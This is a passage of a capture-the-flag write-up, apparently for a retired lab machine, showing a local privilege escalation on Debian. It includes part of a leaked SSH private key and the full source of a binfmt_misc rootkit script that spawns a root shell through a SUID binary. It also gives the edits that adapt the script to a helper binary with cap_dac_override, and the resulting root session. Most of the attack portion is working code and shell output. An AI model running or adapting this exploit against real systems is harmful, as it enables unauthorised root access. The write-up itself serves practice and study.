uPCuHrb2N9JVLxHrTyZh3+v9Pg/R6Za5RCCT36R+W6es8Exoc9itANuoLudiUtZif84JIKNaGGi6HGdAqHaxBmEn7N/XDu7AAAAwQDuOLR38jHklS+pmYsXyLjOSPUlZI7EAGlCxW5PH/X1MNBfBDyB+7qjFFx0tTsfVRboJvhiYtRbg/NgfBpnNH8LpswL0agdZyGw3Np4w8aQSXt9vNnIW2hDwX9fIFGKaz58FYweCXzLwgRVGBfnpq2QSXB0iXtLCNkWbAS9DM3esjsA1JCCYKFMrvXeeshyxnKmXix+3qeoh8TTQvr7ZathE5BQrYXvfRwZJQcgh8yv71pNT3Gpia7rTyG3wbNka1sAAAALZGV2QHJldGlyZWQ=-----END OPENSSH PRIVATE KEY-----
  • Lets ssh in and get the user flag
$ ssh -i id_rsa_dev dev@10.129.227.96Linux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Sat Jul 30 22:52:17 2022 from 10.10.14.76dev@retired:~$ 
  • After a lenpeas.sh we see dev as group permissions on a file root owns
-rwxr--x-- 1 root dev /usr/lib/emuemu/reg_helper cap_dac_override=ep   
  • Inside the /home/dev/emuemu we can see the source code
dev@retired:~$ cd emuemu/dev@retired:~/emuemu$ lsMakefile  README.md  emuemu  emuemu.c  reg_helper  reg_helper.c  testdev@retired:~/emuemu$ cat reg_helper.c #define _GNU_SOURCE#include <fcntl.h>#include <stdio.h>#include <string.h>#include <sys/stat.h>#include <sys/types.h>#include <unistd.h>int main(void) {    char cmd[512] = { 0 };    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);    if (-1 == fd)        perror("open");    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)        perror("write");    if (close(fd) == -1)        perror("close");    return 0;}dev@retired:~/emuemu$ 
#!/bin/bash# source: https://github.com/toffan/binfmt_misc/blob/master/binfmt_rootkitreadonly searchsuid="/bin/"readonly mountpoint="/proc/sys/fs/binfmt_misc"readonly exe="$0"warn(){    1>&2 echo $@}die(){    warn $@    exit -1}usage(){    cat 1>&2 <<EOFUsage: $exe    Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable,    note that it must be enforced by any other mean before your try this, for    example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is    thinking that you are fixing his problem.EOF    exit 1}function not_writeable(){    test ! -w "$mountpoint/register"}function pick_suid(){    find "$1" -perm -4000 -executable \        | tail -n 1}function read_magic(){    [[ -e "$1" ]] && \    [[ "$2" =~ [[:digit:]]+ ]] && \    dd if="$1" bs=1 count="$2" status=none \        | sed -e 's-\x00-\\x00-g'}[[ -n "$1" ]] && usagenot_writeable && die "Error: $mountpoint/register is not writeable"target="$(pick_suid "$searchsuid")"test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"binfmt_magic="$(read_magic "$target" "126")"test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"fmtname="$(mktemp -u XXXX)"fmtinterpr="$(mktemp)"gcc -o "$fmtinterpr" -xc - <<- __EOF__    #include <stdlib.h>    #include <unistd.h>    #include <stdio.h>    #include <pwd.h>    int main(int argc, char *argv[])    {        // remove our temporary file        unlink("$fmtinterpr");        // remove the unused binary format        FILE* fmt = fopen("$mountpoint/$fmtname", "w");        fprintf(fmt, "-1\\n");        fclose(fmt);        // MOTD        setuid(0);        uid_t uid = getuid();        uid_t euid = geteuid();        struct passwd *pw = getpwuid(uid);        struct passwd *epw = getpwuid(euid);        fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n",            uid,            pw->pw_name,            euid,            epw->pw_name);        // welcome home        char* sh[] = {"/bin/sh", (char*) 0};        execvp(sh[0], sh);        return 1;    }__EOF__chmod a+x "$fmtinterpr"binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"echo "$binfmt_line" > "$mountpoint"/registerexec "$target"
  • In order for this to work we need to take out the below code:
# Line 52 not_writeable && die "Error: $mountpoint/register is not writeable"
  • And change the below code on line 101
# Old code:echo "$binfmt_line" > "$mountpoint"/register# New code:echo "$binfmt_line" | /usr/lib/emuemu/reg_helper
  • After we run the script locally on the machine we have root!
dev@retired:~/emuemu$ chmod +x evil dev@retired:~/emuemu$ ./evil uid=0(root) euid=0(root)# cd /root# whoamiroot# ls -alhtotal 28Kdrwx------  3 root root 4.0K Jul 31 21:04 .drwxr-xr-x 18 root root 4.0K Mar 11 14:52 ..lrwxrwxrwx  1 root root    9 Oct 13  2021 .bash_history -> /dev/null-rw-r--r--  1 root root  571 Apr 10  2021 .bashrcdrwxr-xr-x  3 root root 4.0K Mar 11 14:36 .local-rw-r--r--  1 root root  161 Jul  9  2019 .profile-rwxr-xr-x  1 root root  135 Mar 11 13:22 cleanup.sh-rw-r-----  1 root root   33 Jul 31 21:04 root.txt